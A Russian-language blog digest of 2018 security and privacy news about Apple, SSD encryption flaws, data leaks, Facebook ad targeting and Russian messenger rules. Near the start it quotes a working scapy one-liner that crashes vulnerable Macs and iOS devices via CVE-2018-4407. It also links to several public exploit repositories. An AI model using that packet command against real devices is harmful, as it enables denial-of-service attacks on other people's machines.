За последние пару дней накопилось сразу несколько интересных заметок про всякие вещи, связанные с информационной безопасностью и Apple одновременно, поэтому я собрал их все в одном посте.

Вчера Apple наконец-то выложила обновленные статьи о различных улучшениях безопасности (читай — исправленных уязвимостях) в последних версиях операционных систем. Ссылки на содержимое апдейтов в каждой операционной системе, а также в других продуктах компании, можно найти тут https://support.apple.com/en-us/HT201222. Я думаю, что достаточно упомянуть, что термин "arbitrary code" встречается в статье о содержимом апдейтов macOS 10.14 Mojave двадцать один раз!

Там же и такая прекрасная уязвимость под номером CVE-2018-4407 (https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407) в обработке получения ICMP пакетов, позволяющая "завалить" работающие в той же сети Мак с High Sierra и ios-устройства с iOS 11, как продемонстрировано на этом видео в твите (https://twitter.com/kevin_backhouse/status/1057352656560287746):

команда для исполнения этой уязвимости тоже умещается в один твит:
pip install scapy
sudo scapy
send(IP(dst=“Target IP“,options=[IPOption(“A”*8)])/TCP(dport=2323,options=[(19, “1"*18),(19, “2”*18)]))

Ну и, как обычно, любители потестировать экран блокировки iOS, обнаружили возможность получить доступ к контактам в заблокированном устройстве в свежевышедшей iOS 12.1:
https://youtu.be/ojigFgwrtKs

Шаги там не самые тривиальные, но тем не менее, доступ к данным адресной книги получить можно. Мне кажется, что кому-то в отделе тестирования Apple неплохо было бы сделать внушение, потому что ну сколько можно уже, это далеко не первый подобный случай.

Еще несколько интересных ссылок на тему:

1. iRobot — производитель известных роботов-пылесосов — договорился с Google о том, что будет делиться с последней данными о картах помещений, в которых убирают роботы. Последние модели пылесосов научились делать карты помещений с помощью данных одометрии и изображений с низким разрешением. Google считает, что может улучшить работу своих умных гаджетов для дома с помощью этих данных. Казалось бы, что может пойти не так? (Google утверждает, что эти данные не будут использоваться для рекламы, но кто из нас, положа руку на сердце, реально поверит сейчас в этом Google?)

https://www.theverge.com/2018/10/31/18041876/google-irobot-smart-home-spatial-data-mapping-collaboration

2. Уязвимость для устройств Cisco, которые работают с ПО Adaptive Security Appliance (ASA) и Firepower Threat Defense (FTD).
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20181031-asaftd-sip-dos
Успешная эксплуатация уязвимости приводит к крешам и перезагрузке устройств. Патча пока что еще нет, но по ссылке есть рекомендации о том, как уменьшить вероятность пострадать от этой уязвимости.

3. Красивая коллекция устройств для подслушивания, подсматривания и слежки
https://comsecllc.com/spy-gadgets

За выходные мне примерно миллион раз прислали ссылку на историю о том, как оператор «Комкор» (оперирующий под торговой маркой «АКАДО Телеком») в течение длительного времени размещал персональную информацию о клиентах в открытом доступе. Эту утечку данных из базы RIPE обнаружил основатель сервиса TgVPN Владислав Здольников, о чем он рассказал в своем посте:

Да, Комкор (Акадо) выкладывает персональные данные своих клиентов прямо в БД RIPE, которая доступна с помощью whois.
Там всё:
ФИО клиента (или название компании), адрес подключения, телефон клиента.

После обращения оператор убрал данные по IP-адресам в блоке person базы данных RIPE в двух приведенных примерах, при этом они отказались скрыть информацию из блока inetnum, где указывается ФИО (или название компании) пользователей.

Собственно, чем это плохо:
Для оператора такая дыра — катастрофа дважды, потому что:
1) Собственно, песональные данные клиентов — в публичном доступе. Какое доверие может быть к такому оператору?
2) Твоих клиентов могут просто переманивать другие операторы, за полчаса просканировав все IP-адреса и собрав базу данных.
3) Можно узнать IP-адреса определённого клиента или устройства, очень несложно забить канал трафиком и выключить, таким образом, интернет у клиента.
В случае с ведомственными объектами, большое количество которых подключено к Акадо — это же прямая угроза безопасности города.

Рекомендую почитать весь пост для ознакомления с деталями.

‌Очередная "история дня", связанная с фейлом в шифровании, в этот раз — в SSD-дисках. Исследователи университета Radboud в Нидерландах сообщили об обнаруженных уязвимостях в некоторых дисках SSD, которые позволяют обойти функцию шифрования диска и получилось доступ к данным на диске без использования пароля для расшифровки данных. Уязвимость затрагивает только те SSD-модели, поддерживающие аппаратное шифрование, где функции шифрования перенесены в отдельный встроенный чип, отдельный от главного процессора (модели Samsung, Crucial). Проблема заключается в кривой реализации спецификаций ATA Security и TCG Opal по внедрению аппаратного шифрования в самошифрующихся дисках.

Полный отчет можно получить тут (PDF), но вот из него сразу список некоторых затронутых моделей дисков:
(https://alexmak.net/wp-content/uploads/2018/11/Screen-Shot-2018-11-05-at-8.50.05-PM.png)
(это только те, что были протестированы в рамках исследования)


Я не буду пересказывать весь отчет, но в нем есть прекрасные вещи:
- мастер-пароль, указанный в руководстве пользователя, позволяющий расшифровать данные
- в некоторых случаях мастер-пароль был пустой строкой, и это позволяло получить доступ путем изменения одного бита в памяти устройства
- отсутствие криптографической связи между выбранным пользователем паролем и реальным ключом для шифрования диска
и тд.

К сожалению, ситуация становится хуже для пользователей Windows, использующих систему шифрования BitLocker - программного шифрования, встроенного в Windows. BitLocker устроен таким образом, что когда BitLocker обнаруживает аппаратное шифрование, то он говорит "а, ну тут все норм, я пошел", оставляя шифрование на усмотрение самого устройства. Собственно, это означает, что, с учетом всех этих обнаруженных уязвимостей в уже указанных дисках Samsung и Crucial (а также во множестве еще неизвестных моделей с кривой реализацией ATA Security и TCG Opal), данные оказываются весьма доступными для тех, кто может пожелать получить к ним доступ. Групповой политикой BitLocker можно заставить шифровать данные и программным методом, но это требует переформатирования дисков. Исследователи в своем отчете также рекомендуют использовать VeraCrypt вместо аппаратного шифрования.

Кроме самого исследования вот еще интересные материалы на эту тему:
- https://medium.com/asecuritysite-when-bob-met-alice/doh-what-my-encrypted-drive-can-be-unlocked-by-anyone-a495f6653581?sk=064d23e289e95ac61d7c2c98bb972790
- https://www.zdnet.com/article/flaws-in-self-encrypting-ssds-let-attackers-bypass-disk-encryption/

Берегите там свои диски!

В России происходит какое-то веселье с проверкой пользователей мессенджеров. Теперь, я так понимаю, компания, оперирующая тем или иным мессенджером, должна будет вместе с операторами связи обеспечивать идентификацию пользователя по номеру его мобильного телефона. Видимо, нужно будет проверить, что человек, регистрирующийся в мессенджере, и человек, пользующийся этим номером телефона ( владелец SIM-карты) - это одно и то же лицо.

Изначально материал об этом появился в газете Известия:
https://iz.ru/808022/inna-grigoreva/polzovatelskoe-oglashenie-messendzhery-berut-pod-totalnyi-kontrol

Постановление об этом уже опубликовано на правительственном портале:
http://publication.pravo.gov.ru/Document/View/0001201811060001

Разбираться с этой историей пытаются в TJournal:
Раз https://tjournal.ru/79496-medvedev-podpisal-novye-pravila-identifikacii-polzovateley-messendzherov
Два https://tjournal.ru/79507-pravitelstvo-rossii-zapretilo-anonimnoe-ispolzovanie-messedzherov-eto-budet-rabotat-est-mnogo-voprosov

Главное — теперь надо помнить, что при авторизации в некоторых мессенджерах после 5 мая 2019 года информация об аккаунтах может передаваться операторам связи, а значит властям. Вместе с законом Яровой, обязывающим хранить и выдавать недавнюю переписку пользователя, власти будут не только знать, кому, когда и что писал пользователь, но и кто этот пользователь по паспорту. В остальном, судя по всему, почти ничего не изменится.

Статья Саши Плющева https://www.dw.com/ru/комментарий-власти-целились-в-мессенджеры-а-попали-во-в-контакте/a-46172226

Пару недель назад я писал (https://alexmak.net/2018/10/18/apple-privacy/) о том, что Apple обновила раздел “Конфиденциальность” на своем сайте, и в том числе рассказывал о запуске возможности загрузки данных, которые хранятся у компании о пользователе. Тогда эти данные были доступны только пользователям из Австралии, США, Новой Зеландии и Канады, но теперь их можно заказывать и пользователям из России.

Для этого вам нужно зайти на эту страницу https://privacy.apple.com/?r=1&language=RU-RU), залогиниться со своим Apple ID, и выбрать опцию “Получение копии данных”. Там нужно отметить чекбоксы, чтобы получить соответствующие данные.

Кроме этих данных, можно запросить также документы, хранящиеся в iCloud Drive, почту iCloud и фотографии iCloud Photos, но эти данные занимают много места, и у пользователей и так должны быть, так что не вижу особого смысла в их запросе (разве что вы хотите потом многогигабайтные архивы качать).

После этого Apple берет до 7 дней на сбор данных, и затем присылает письмо, кликнув на кнопку в котором можно (после логина, опять же) скачать свои данные. В моем случае это получился архив размером около 68МБ с вложенными архивами, в каждом из которых находится информация по различным категориям данных. Полезность этого архива будет очень индивидуальной, и каких-то открытий из серии “ТАК ОНИ ОБО МНЕ ЕЩЕ И ЭТО ЗНАЮТ”, пожалуй, не будет, но что-то интересное там найти можно. Часть файлов в формате csv, часть в json, и количество данных в них будет отличаться в зависимости от того, насколько активным пользователем экосистемы Apple вы являетесь.

Вот, например, список файлов по разделу магазинов iTunes/iBooks/App Store, и Apple Music:

Identifier Information.json.zip
App_Store_iTunes_Store_iBooks_Store_Apple_Music
Apple Music Activity
Social and Connect Post Information
Apple Music – Recently Played Containers.csv
Apple Music – Recently Played Tracks.csv
Apple Music Library Activity.json.zip
Apple Music Library Playlists.json.zip
Apple Music Library Tracks.json.zip
Apple Music Likes and Dislikes.csv
Apple Music Play Activity.csv
Music – Favourite Stations.csv
Music – Liked Radio Tracks.csv
MusicOnboarding-18582402-Artists-18102018.csv
MusicOnboarding-18582402-Genres-18102018.csv
Apps and Services Analytics
notifications.csv
Stores Activity
Account and Transaction History
Account History – Account Details.csv
Account History – Apple Media Products Welcome Page Action.csv
Account History – TV Provider Opt-In History.csv
Billing Information History.csv
Customer Device History – Computer Authorizations.csv
Customer Device History – iTunes in the Cloud Authorization.csv
Customer Device History – Push Notification Authorization.csv
iTunes and App Store Hidden Purchases.csv
iTunes Match Re-download History.csv
Pre-order History.csv
Store Free Transaction History.csv
Store Re-download and Update History.csv
Store Transaction History.csv
Subscription History.csv
U2 Songs of Innocence Album Information.csv
Apple TV and Podcast Information
Apple TV Bookmarks.csv
Apple TV Favorites and Wishlist.csv
Podcasts Playstate.csv
TV App Favorites and Activity.json
Your Podcasts.csv
iBooks Information
iBooks Collection Information.json
iBooks Global Annotations.json
iBooks User Annotations.json
Other Activity
AMP Purchase History Page & Click Activity.csv
Apple TV Movie Store Actions.csv
Apps And Service Analytics.csv
Concerns.csv
iTunes Wishlist.csv
Limit Ad Tracking Information.csv
Media Preview – ebooks.csv
Media Preview – previewed.csv
Media Preview – tagged.csv
Playlist Moderation.json
Podcast Preferences.csv
Review profile.json
Reviews.csv
TV App Notifications.csv
Votes.csv
Play Position Information
Playback Activity.csv
Social and Connect Post Information
Reported Concerns – User Review.csv
Testflight
Testflight Data History-acceptedTerms.csv
Testflight Data History-betaApps.csv
Testflight Data History-crashes.csv
Testflight Data History-devices.csv
Testflight Data History-installs.csv
Testflight Data History-sessions.csv
App_Store_iTunes_Store_iBooks_Store_Apple_Music.zip

iTunesGiftCardCreditRedemptionHistory_18582402_10182018033350192.zip

По остальным разделам файлов меньше, но в сумме все равно набирается некисло. Просматривать это все — то еще удовольствие, и поэтому я не буду перечислять все, что я нашел о себе в этом архиве, просто упомяну то, что мне показалось интересным.

– Я нашел список тех треков, которым я в свое время в iTunes/Apple Music ставил лайки или дизлайки:


– В файле Apple Music Activity можно посмотреть список всей проигранной когда-либо музыки в сервисе, включая длину трека, на которой прервалось воспроизведение, и причина прекращения (прокрутка, пропуск, пауза, и тд)

– В информации об аккаунте я обнаружил, что он был зарегистрирован в системе Apple 4 мая 2002 года (я стар, я супер-стар).

– В списке информации об устройствах, зарегистрированных на мой Apple ID, можно найти последний IP-адрес, с которого зарегистрирован heartbeat этого устройства

– Нашел список всех покупок в онлайн-магазине Apple Store и все адреса, куда отправлялись покупки (сначала напрягся, когда увидел в списке адреса, которые мне ничего не говорили и где я никогда не бывал. Потом по остальным данным понял, что некоторые покупки я отправлял друзьям, покупая что-то по их просьбе).

– В архиве я также обнаружил список сетей WiFi, к которым я когда-либо подключался. Частично этот список можно посмотреть в системных настройках, но я периодически этот список чищу в компьютерах (он синхронизируется между устройствами). Но интересно, что в файле, который находится в скачиваемом архиве, есть сети, которые я уже удалил на компьютере (включая дату последнего подключения).

Видимо, надо писать в Apple, чтобы они теперь удалили их у себя на сервере, если я не хочу, чтобы они там хранились.

Что не попало в архив из облака — сообщения из переписки iMessage, что ожидаемо, потому что сообщения шифруются, и при использовании функции iMessages in iCloud данные шифруются так, что даже Apple не может прочитать их, несмотря на их хранение в iCloud:

Программа «Сообщения» в iCloud также использует сквозное шифрование. Если включено резервное копирование iCloud, в резервную копию включается копия ключа, защищающего программу «Сообщения». Это обеспечивает возможность восстановления программы «Сообщения» в случае потери доступа к службе «Связка ключей iCloud» и доверенным устройствам. При отключении резервного копирования iCloud на вашем устройстве генерируется новый ключ для защиты будущих сообщений, который не будет храниться компанией Apple.

Надо будет подумать над созданием архива, чтобы в старости можно было почитать какие-то свои древние переписки. Хорошо, что я сохранил свою историю чатов, еще когда это все называлось iChat, так что будет потом, качаясь у камина, почитаю. Главное — хранить это в зашифрованном виде. (Кстати, даже немного удивительно, что Messages сохранили обратную совместимость с файлами .ichat).

PS А вообще интересный эксперимент, рекомендую и вам повторить — вдруг что-то интересное найдете.

DuckDuckGo тут напомнили, что можно заглянуть в рекламные настройки Facebook, чтобы увидеть список рекламодателей, которые загрузили вашу контактную информацию в ФБ для показа рекламы. То есть не просто таргетирование "белый мужчина такого-то возраста в таком-то городе с интересом к автомобилям", а именно конкретно вашу информацию - имейл или номер телефона.

Settings > Ad preferences > Advertisers you've interacted with > Advertisers who uploaded a contact list with your info > See all

(Эту функциональность Facebook никогда и не скрывал — если вы оставляете свою информацию в какой-то компании, и она потом хочет показать вам рекламу, то она может загрузить свой контактный список в Фейсбук и показывать рекламу совершенно конкретным людям).

Но я решил ради интереса заглянуть в свой список, что там у меня, и увидел ТАКОЕ... Кликай скорей, чтобы узнать!


Я просто покажу конец списка, чтобы вы увидели, сколько там всего позиций:
(https://alexmak.net/wp-content/uploads/2018/11/Screen-Shot-2018-11-07-at-8.29.09-PM.png)

973 позиции, большинство из которых — это автодилеры всех возможных автомобильных марок, в основном из тех мест, о которых я никогда не слышал, и которые вообще далеко от меня. Подозреваю, кто-то из тех дилеров, в которых я бывал или покупал автомобили, слил мой адрес электронной почты в некую единую базу, которую затем либо покупают, либо которой просто пользуются сотни автодилеров по всей стране, и вот результат. И, главное, никак от этого не избавиться, кроме как самовыпилиться из ФБ (ну, или менять телефон, имейл, имя и планету проживания).

Инструкцию, чтобы посмотреть рекламодателей по вашей информации, дали DuckDuckGo в своем твите. Я смог получить полный список в одной странице только на мобильной версии Facebook (кликайте сюда, чтобы сразу видеть ваш список), но, возможно, это ФБ, как всегда, экспериментирует с A/B тестами, и десктопная страница ваших настроек будет выглядеть немного по-другому, чем моя. Хорошо, что я редко хожу в ФБ и еще реже читаю там ленту, что избавляет меня от просмотров рекламы.

Еще несколько интересных ссылок на тему инфобезопасности:

1. Кстати, о Facebook. На прошлой неделе встретил информацию о том, что в интернете появились на продажу 81 тысяча учетных записей пользователей социальной сети.
https://www.digitalshadows.com/blog-and-research/81000-hacked-facebook-accounts-for-sale-5-things-to-know/
Тут есть дополнительная информация от компании, которая помогала BBC с оригинальной статьей:
- 81 тысяча аккаунтов — это только те, для которых в архиве есть личная переписка (и другие данные). Данные профиля включают в себя имена, адреса. контактную информацию, список друзей и переписку. Фотографий в профилях нет. Общее количество профилей в архиве — 257 256. Большинство этих аккаунтов (30%) — пользователи ФБ из Украины, еще 9% - пользователи из России. Продавец также утверждает, что у него есть 120 млн аккаунтов. Метод, которым получены эти данные, неизвестен, хотя есть подозрение на какое-то расширение в браузере.

2. Обнаружена еще одна side-channel уязвимость в процессорах Intel, позволяющая злоумышленникам получить доступ к криптографическим ключам и другой конфиденциальной информации. Встречайте PortSmash!
Дополнительная информация тут: https://seclists.org/oss-sec/2018/q4/123. Во всем виноват Hyper-Threading, когда, грубо говоря, одно приложение из своего треда на процессоре может, по сути, заглянуть в другой тред — изучив доступ к кэшам и тайминг выполнения операций. Выход один — отключать HT, хотя Intel считает, что проблемы нет, и нужно просто писать такой код, который будет устойчив к атакам подобного рода. Эта история не имеет отношения к Spectre и проч. уязвимостям спекулятивного исполнения.


3. Обнаружены две уязвимости в Bluetooth Low Energy чипах Texas Instruments - чипы, которые используются в корпоративных роутерах производителей таких как Aruba, Cisco и Meraki. Первая уязвимость называется Bleeding Bit, вторая вроде бы без названия, но в итоге одна обеспечивает memory overflow и последующее исполнение кода на устройстве, а вторая позволяет установить зараженную прошивку на роутеры Aruba, потому что устройство не проверяет доверенность прошивки. Для эксплойта нужно быть в пределах досягаемости Bluetooth

Ссылки по теме:
https://www.kb.cert.org/vuls/id/317277/
https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2018-006.txt
https://meraki.cisco.com/blog/cisco-meraki-customer-advisories/
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20181101-ap

4. 0-day в Virtual Box
https://github.com/MorteNoir1/virtualbox_e1000_0day/blob/master/README.md

5. Утечка данных клиентов американского отделения банка HSBC
https://www.databreachtoday.com/hsbc-bank-alerts-us-customers-to-data-breach-a-11685

Сегодня опять коллекция, и к тому же очень интересных.

1. Помните, несколько дней назад я писал про целый набор всяких лаж разной степени лажовости в аппаратном шифровании данных внешних дисков? Там еще возникала дополнительная коллизия в случае с программным шифрованием с помощью BitLocker, где BitLocker, обнаружив аппаратное шифрование на диске, говорил "ну, мне тут делать больше нечего".

Так вот, Microsoft выпустила рекомендации по поводу того, как правильно сконфигурировать BitLocker, чтобы шифрование BitLocker применялось даже в случае обнаружения аппаратного шифрования на дисках:
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV180028

2. Полиция расшифровала 258 тысяч сообщений после взлома шифрования приложения IronChat, которое продвигало себя как приложение для безопасного чата. Интересная статья о том, почему это шифрование вообще могли взломать (потому что самопальное шифрование - это очень сильный риск, кгхм... Телеграм... кгхм...)
https://arstechnica.com/information-technology/2018/11/police-decrypt-258000-messages-after-breaking-pricey-ironchat-crypto-app/

3. Сайт производителя дронов DJI оказался насыщен не только информацией о дронах, но и уязвимостями, которые могли позволить злоумышленникам получить доступ к пользовательским логам, картам и хранящимся видео. Сама уязвимость требовала тех еще танцев в гамаке, но DJI все равно позакрывала соответствующие дыры:
https://techcrunch.com/2018/11/08/security-flaw-in-dji-apps-exposed-accounts-to-hackers-and-drone-live-feeds/

MUST READ
4. И в рамках чтения на выходные — ФЕЕРИЧНЕЙШАЯ история о том, как спецслужбы Ирана смогли с помощью Google вычислить сайты, через которые общались агенты ЦРУ со своими источниками, что привело к смерти десятков источников. Сама история не новая, описанные в статье события происходили почти 10 лет назад, с 2009 по 2013 год, но масштабность и последствия от этого меньше не становятся. Некий двойной агент показал определенный сайт, через который происходил обмен информацией, и иранская разведка смогла с помощью Google обнаружить подобные сайты, которые использовали некий общий компонент (который, видимо, как раз и можно было идентифицировать с помощью Google и продвинутых операторов поиска). Читается это все как увлекательнейший шпионский роман, пока не вспоминаешь, что за этими буквами стоят реальные жизни людей:
https://www.yahoo.com/news/cias-communications-suffered-catastrophic-compromise-started-iran-090018710.html

Быстрый и безопасный DNS 1.1.1.1 теперь доступен на мобильных платформах в виде удобного и простого приложения:

Для Android
https://play.google.com/store/apps/details?id=com.cloudflare.onedotonedotonedotone

Для iOS
https://itunes.apple.com/us/app/1-1-1-1-faster-internet/id1423538627?mt=8

Больше здесь:
https://blog.cloudflare.com/1-thing-you-can-do-to-make-your-internet-safer-and-faster/

Привет,

Сегодня нет времени объяснять, поэтому коллекция ссылок (зато большая) по теме:

1. Ошибка в Facebook, позволявшая сайтам видеть лайки пользователей и их друзей
https://techcrunch.com/2018/11/13/facebook-bug-website-leak-likes-interests-profile/

2. Женщина, арестованная за участие в перестрелке, удаленно очистила iPhone X, который у нее изъяла полиция
https://dailygazette.com/article/2018/11/08/police-woman-remotely-wipes-phone-in-evidence-after-shooting

3. Исследователь обнаружил уязвимость в Steam, позволявшую ему получать лицензии на любые игры, и награда нашла героя!
https://www.theregister.co.uk/2018/11/09/valve_steam_key_vulnerability/

4. Уязвимость в VirtualBox, дающая выход из виртуальной машины (много интересных деталей)
https://www.voidsecurity.in/2018/11/virtualbox-vmsvga-vm-escape.html

5. странная история с тем, что некоторые владельцы учетных записей Apple ID обнаружили их заблокированными "по соображениям безопасности" (возможно, какой-то массовый брут-форс)
https://9to5mac.com/2018/11/13/some-iphone-users-finding-their-apple-id-accounts-have-been-inexplicably-locked-requiring-password-resets/

6. проект по разработке безопасных аппаратных хранилищ
https://keystone-enclave.org

7. Раздел на GitHub касательно уязвимости в Safari/macOS 10.13.3 c Pwn2Own2018, приводящей к удаленному исполнению кода
https://github.com/saelo/pwn2own2018

И Фреймворк с ней для metasploit
https://github.com/rapid7/metasploit-framework/pull/10944

Привет! Если вы вдруг пропустили историю про Bloomberg, китайские чипы, Apple и Amazon (а что вы тогда в канале делаете?), то она теперь есть еще и в аудио-формате!

​​В новом Бородокасте сразу две необычных штуки. Во-первых, модуль с Алексом Пацаем из канала об информационной безопасности теперь будет регулярным; в этом выпуске он рассказал о ситуации с Bloomberg и Super Micro. Во-вторых, Владимир Плотников составил нам компанию вместо Антона и оживил подкаст своим жизненным опытом.

А так, мы рассказали, как контролируем расходы (и контролируем ли), обсудили закон об обязательной идентификации пользователей в мессенджерах и мультфильм Next Gen.

• Слушать подкаст на сайте
• Скачать MP3

У меня накопилось сразу несколько ссылок на похожу тему, и я решил их собрать сразу в одном месте. Я уже несколько раз писал о закладках в платежных системах некоторых популярных сайтов — например, про Newegg, а вот про British Airways, и вкусные детали об этом), которые приводят к утечке данных платежных карт покупателей. Каждый раз обстоятельства указывают на то, что к взлому причастна группа Magecart, о которой до последнего времени было мало что известно. Но пару дней назад был опубликован отчет, который проливает свет на эту группу хакеров, и как именно она работает и какие векторы атак использует. Скачав отчет (бесплатно, но с регистрацией), вы узнаете не только о самой группе, но и том, как можно обезопасить сайты от подобных взломов.

Отчет https://www.riskiq.com/research/inside-magecart/

И пока я писал эту заметку, увидел в новостях, что Magecart побывала на известном крайне правом сайте, толкающем всякие странные теории заговоров, Infowars, и данные карточек около 1,5 тыс пользователей оказались скомпрометированы.

Вот еще большой и интересный материал о безопасности (или скорее — опасносте) банковских карт в США, где за последние 12 месяцев украдено данных 60 млн банковских карт. Основная проблема в том, что, несмотря на (наконец-то!) распространенность карт с чипами, многие ритейлеры продолжают прокатывать карты магнитной лентой. Почему? потому что в плане всего, что касается платежей картами, США — какая-то страна третьего мира, невероятно консервативная и медленно двигающаяся. Европа в плане тех же чипов и бесконтактных платежей настолько впереди США, что это уже какая-то параллельная вселенная. Извините, наболело.
https://threatpost.com/u-s-chip-cards-are-being-compromised-in-the-millions/139028/

Умные домашние колонки — они не только полезны, но и ... (я хотел, было, написать, что "вредны", но в этом случае все не так однозначно). Особенно если дело касается преступления, его расследования и предоставления доказательств. В 2017 году в штате Нью-Гемпшир произошло убийство, в котором погибли две женщины. Обвиняемый свою вину отрицает. В доме была обнаружена умная колонка Amazon Echo, и теперь суд принял решение, по которому Amazon обязаны предоставить не только записи, сделанные колонкой в районе произошедших событий, но и различные метаданные, включая и то, какие телефоны были "спарены" с колонкой.

https://arstechnica.com/tech-policy/2018/11/amazon-must-give-up-echo-recordings-in-double-murder-case-judge-rules/

Продолжая тему сбора информации с IoT устройств, нельзя не отметить также и старания компании Cellebrite. Компания известна тем, что предоставляет правоохранительным органам услуги по взлому смартфонов и получению информации с них. Наиболее известный кейс с участием этой компании — это, вероятней всего, их помощь во взломе iPhone террориста Саида Фарука, который расстрелял людей в Сан Бернардино, штат Калифорния.

Так вот, Cellebrite, видя, как развиваются различные устройства для дома, считает, что из них можно получить массу полезной информации при расследовании преступлений. Так выглядит, по их мнению, набор источников информации из гипотетического сценария с убийством, когда в квартире обнаружены, кроме тела жертвы, Amazon Echo, роутер Google OnHub, хаб Samsung Smart THings, датчики движения, сенсоры на дверях, и свич IPTime.

Собрав данные с этих устройств, можно, по мнению Cellebrite, получить достаточно много информации, которая способна помочь в расследовании убийства. Короче, преступникам скоро придется быть еще и хакерами, чтобы хорошенько замести следы.

https://www.cyberscoop.com/cellebrite-iot-data/

Сегодня уже несколько читателей прислали мне ссылку на статью про японского министра кибербезопасности Yoshitaka Sakurada, который признался, что никогда не пользовался компьютером:

https://www.theguardian.com/world/2018/nov/15/japan-cyber-security-ministernever-used-computer-yoshitaka-sakurada

Моя первая реакция была "о, вот это он защитился", а также я сразу вспомнил анекдот про лучшую защиту от СПИДа — "никакого секса". Но заголовок статьи — это лишь часть истории. Там сразу фигирует момент, в котором у этого министра спрашивают, пользуются ли USB-флешками на атомных станциях, и он просто не понимает, о чем идет речь.

Аргумент Sakurada заключается в том, что у него всегда есть помощники, которым он выдает инструкции. Но как человек, который не в курсе базовых понятий, может оценить, какую именно инструкцию выдать — это вне моего понимания. Реально странная история.

Впрочем, в огромном количестве стран чиновники, которые не используют компьютеры или не знакомы с основными концепциями информационных технологий — это не новость. Проблемы начинаются, когда эти чиновники и депутаты пытаются придумывать законодательство о информационной безопасности и криптографии, не понимая, о чем это вообще.

PS зато украсть цифровые данные у Yoshitaka Sakurada будет реально непростой задачей!

Forbes пишет о том, что два исследователя обнаружили уязвимость в iPhone, позволяющую получить доступ к уже удаленным фотографиям на устройстве (и заработали на этом 50 тыс долл).

Они продемонстрировали эту уязвимость на конкурсе Mobile Pwn2Own, и информацию об уязвимости передали в Apple. В статье на Forbes фигурирует информация, что уязвимость была продемонстрирована на iOS 12.1, которая является на данный момент последней публично выпущенной версией iOS. Уязвимость в just-in-time (JIT) компиляторе позволяет получить доступ к тем фотографиям, которые пользователь удалил из фотобиблиотеки, но они до 40 дней лежат в типа "чистилище", и эксплуатируемая уязвимость позволила им получить доступ (причем через роутер Wifi, то есть сценарий, как они его называют, "в кофейне"). К сожалению, технических деталей нет (видимо, они появятся, когда выйдет апдейт, исправляющий эту проблему), но из статьи на Forbes можно сделать вывод, что доступ можно получить и к другим файлам, а удаленное фото было использовано как пример, первым попавшийся под руку.